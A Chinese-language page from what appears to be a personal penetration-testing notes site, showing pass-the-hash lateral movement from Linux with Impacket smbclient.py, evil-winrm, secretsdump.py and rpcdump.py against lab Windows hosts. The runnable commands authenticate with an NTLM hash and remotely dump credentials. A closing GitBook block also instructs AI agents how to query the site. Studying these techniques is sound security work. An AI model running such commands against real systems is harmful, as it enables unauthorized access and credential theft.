> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/active-directory/lateral-movement/pass-the-hash-on-linux.md).

# Linux 上的 Pass-the-Hash

在 Linux 上，我们可以使用 Impacket 工具做同样的事情。

```bash
smbclient.py whoami.local/administrador@172.16.0.100 -hashes :a87f3a337d73085c45f9416be5787d86

使用 c$
```

<figure><img src="/files/1a17681baefda6864f23617e2e880dac67919d2d" alt=""><figcaption></figcaption></figure>

对于通过 WinRM 的远程访问，我们还可以使用 `evil-winrm`.

```bash
evil-winrm -i 172.16.0.10 -u Administrador -p Password
```

<figure><img src="/files/935d077253e2df717b92165b35951d96e8bcee66" alt=""><figcaption></figcaption></figure>

也可以直接使用哈希建立相同的连接。

```bash
evil-winrm -i 172.16.0.100 -u Administrador -H a87f3a337d73085c45f9416be5787d86
```

要远程提取凭据，我们可以使用 `secretsdump.py`.

```bash
secretsdump.py administrador@172.16.0.100 -hashes :a87f3a337d73085c45f9416be5787d86
```

<figure><img src="/files/32758aa1b8215106f925ac61fdd854f41d22d442" alt=""><figcaption></figcaption></figure>

我们还可以使用以下命令查询 RPC 服务： `rpcdump.py`.

```bash
rpcdump.py -hashes 000000000000000000000000:a87f3a337d73085c45f9416be5787d86 -port 135 whoami/administrador@172.16.0.100
```

<figure><img src="/files/02e608dd65e66e65528e25769a62a966e211be7d" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/active-directory/lateral-movement/pass-the-hash-on-linux.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
